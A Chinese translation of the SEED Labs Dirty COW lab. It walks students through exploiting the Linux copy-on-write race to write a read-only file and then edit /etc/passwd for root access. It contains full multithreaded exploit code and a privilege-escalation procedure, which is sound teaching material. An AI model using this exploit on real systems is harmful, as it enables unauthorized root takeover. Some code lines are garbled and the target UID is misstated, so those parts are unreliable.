版权说明
Copyright © 2017 Wenliang Du, Syracuse University. The development of this document was partially funded by the National Science Foundation under Award No. 1303306 and 1718086. This work is licensed under a Creative Commons Attribution-NonCommercial- ShareAlike 4.0 International License. A human-readable summary of (and not a substitute for) the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes.
脏牛漏洞是竞争危害中的一个有趣案例。自从2007年开始它就已经存在于Linux之中,但直到2016年10月份才被发现和利用。这一个漏洞几乎影响所有的以Linux为基础发展起来的操作系统,包括安卓,因此产生了严重的后果:攻击者可以通过该漏洞获得ROOT权限。该漏洞存在于Linux内核的Copy-On-Write(这就是为什么我们称为dirty COW Attack)代码中。通过该漏洞,攻击者可以修改任何受保护的文件,即便对于这些文件,攻击者仅有读权限。SEED Labs 的参考书籍中的《Computer Security: A Hands-on Approach》第八章对该漏洞做出了详细的介绍
本实验的主要目的是让学生获得D-COW-Attack的上手经验,了解竞争条件下产生的该漏洞。从而对于一般的竞争条件漏洞有了更深的理解。在本实验中,学生将学会利用该攻击来获得root权限。
Note:本次实验基于SEEDUbuntu12.04 虚拟机,如果你现在使用的是更新的版本的Linux,比如Ubuntu16.04的话,此漏洞已经被修复。
The objective of this task is to write to a read-only file using the Dirty COW vulnerability.
该项任务的目的就是利用Dirty-COW漏洞来对一个只读文件进行写操作。
首先,我们需要选择一个目标文件。虽然目标文件可以使系统内任一的可读文件,但是为了防止实验过程可能出现的错误影响系统的安全,我们将使用一个自己创建的只读文件。请在root目录下创建一个为zzz
的文件,修改其对普通用户的权限为只读,然后利用编辑器例如gedit
随意输入一些内容。
We first need to select a target file. Although this file can be any read-only file in the system, we will use
a dummy file in this task, so we do not corrupt an important system file in case we make a mistake. Please
create a file called zzz in the root directory, change its permission to read-only for normal users, and put
some random content into the file using an editor such as gedit.
$ sudo touch /zzz
$ sudo chmod 644 /zzz
$ sudo gedit /zzz
$ cat /zzz
111111222222333333
$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz
$ echo 99999 > /zzz
bash: /zzz: Permission denied
从上面的实验中我们可以看到,一个普通权限的用户如果想要对一个只读文件进行写操作的话会操作失败,因为对于普通权限用户,该文件仅仅是可读。然而,因为Dirty-COW在系统中的漏洞,我们可以找到方法来对该文件进行写入。我们的目标是把目标模式串”222222”用“**”进行替换。
你可以从实验的网站下载程序attack.c
。 该程序拥有三个线程:主线程,写线程,madvise线程( madvise()
这个函数可以对映射的内存提出使用建议,从而提高内存。)。主线程的作用是把/zzz文件映射到内存中,并且定位到目标模式222222
处,然后创建了两个新的线程来利用Dirty-COW竞争条件漏洞。
Listing 1: The main thread
/ * cow_attack.c (the main thread) * /
include
include
include
include
include <string.h>
void * map;
int main(int argc, char * argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
// Open the target file in the read-only mode.
int f=open("/zzz", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
char * position = strstr(map, "222222"); À
// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void * )file_size); Á
pthread_create(&pth2, NULL, writeThread, position); Â
// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
在上面的代码中,我们需要定位到模式222222
处,这里我们使用了一个字符串函数strstr()
来找222222
在被映射内存块里的位置。然后我们开始了另外的两个线程。
写线程的任务即为在内存中用**
实现对字符串222222
的替换。由于被映射的内存块使用的是Copy-On-Write机制,单单运行该线程仅仅可以对内存中的/zzz
文件的映像进行更改,并不能对磁盘上的/zzz
文件内容有任何影响。
Listing 2: The write thread
/ * cow_attack.c (the write thread) * /
void * writeThread(void * arg)
{
char * content= " ** ";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}
madvise()线程仅仅做一件事:抛弃在内存中更改前文件映像,以至于页表可以把指针指向会更改后的映射内存块。
madvise(MADV_DONTNEED)基本功能是清除被管理的内存映射的物理页。就当前情况而言,在调用完该函数后,提到的这些页将被clear。当下一次用户尝试访问这些内存区域时,原始的内容会重新从磁盘或者页缓存中导入,而对于匿名的堆内存,则会填充零。
Listing 3: The madvise thread
/ * cow_attack.c (the madvise thread) * /
void * madviseThread(void * arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
如果write()
和madvise()
系统调用是交替被唤醒,比如一个调用总是在另一个被完成之后才发生的话,write操作将会永远只能在私有映像上执行,因此我们也无法完成修改目标文件的任务。想让实验成功的唯一方法就是在write()
系统调用正在运行的时候执行madvise()
。我们并不能保证这样做一定可以成功,因此我们需要尝试较多次数,只要成功的概率没有非常低,我们就有机会成功。这也是为什么程序中,我们需要在一个有限的循环中执行write()
和madvise()
.
编译cow_attck.c
文件,然后让其保持运行一些时间(十几秒)。如果你的实验成功,你将会看到/zzz
文件已经按照你的要求被修改了。
$ gcc cow_attack.c -lpthread
$ a.out
... press Ctrl-C after a few seconds ...
现在,让我们对系统中的实际文件发起攻击以便我们可以获得root权限。我们选择/etc/passwd
文件作为我们的目标。该文件的特点是普遍可读,但是仅有root用户可以对其进行修改。其包含了所有的用户账号信息,每个用户一条记录。假设我们的用户名是seed
,下面的代码展示了root
用户和seed
用户的记录:
root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed,123,,:/home/seed:/bin/bash
每条记录均包含着七个用来作为分隔符的冒号。我们的兴趣在于第三个部分,因为其标识了系统分配给用户的ID值(UID)。UID是取得Linux控制权的重要基础,所以该UID的值对于系统安全来说至关重要。对于root用户,其UID是一个特殊的值0,同时也就是该值使其成为了root
用户而不是其用户名。任何一个用户只要其UID值为0,不管其用户名是什么,它都会被系统认为是root
用户。在本次实验中,用户seed
的UID是1000,因此它没有root
权限。但是如果我们可以将其UID值改为0,那么seed
用户就可以变成root
用户了。下面我们将利用Dirty COW漏洞过来达到我们的目的。
在本次实验中,我们将不会使用seed账户,因为该账号在之后的许多实验中也将会被使用,在本次实验之后如果我们忘记把其UID改回来,那么陆续的许多实验将会受到影响。因此,我们创建一个新的普通用户账号charlie
,然后我们通过漏洞将该用户权限提升到root级别。下面的命令展示了如何向系统中添加新的用户,我们可以看到一旦用户被添加,一条新的记录就会在/etc/passwd中生成:
$ sudo adduser charlie
...
$ cat /etc/passwd | grep charlie
charlie:x:1001:1001:,,,:/home/charlie:/bin/bash
我们建议你首先保存一个/etc/passwd
文件的备份,以防你在实验过程中出错使得文件被破坏。另一个比较方便的方法是在开始本次实验之前给你的虚拟机做一个备份(snapshot),这样一旦出现问题直接回滚(roll back)即可。
任务:你需要修改文件/etc/passwd
中charlie
的记录,将其中第三项的值从10001改为0000。但该文件对于charlie
来说是不可写的,因此你需要借助我们所提到的Dirty COW漏洞,你可以修改任务一中的cow_attack.c
程序来达到你的目的。
如果你成功完成了本次攻击,那么切换到用户charlie
时,你就可以看到shell中的提示命令#
,该字符表明用户身份为root,如果你输入命令id
,你将可以看到你已经获得了root权限。
see that you have gained the root privilege.
seed@ubuntu$ su charlie
Passwd:
root@ubuntu# id
uid=0(root) gid=1001(charlie) groups=0(root),1001(charlie)
你需要提交一份完整详细的实验报告来描述你的实验步骤以及你所观察到的内容。请提供实验截图和代码块,同时你也应当对其中有趣或者惊喜的发现作出合理解释。
下面是整理出来的对完成实验有非常大的帮助的一些文章:
1、CVE-2016-5195 Dirtycow: Linux内核提权漏洞分析
2、Dirty COW and why lying is bad even if you are the Linux kernel
3、从内核角度分析Dirty Cow原理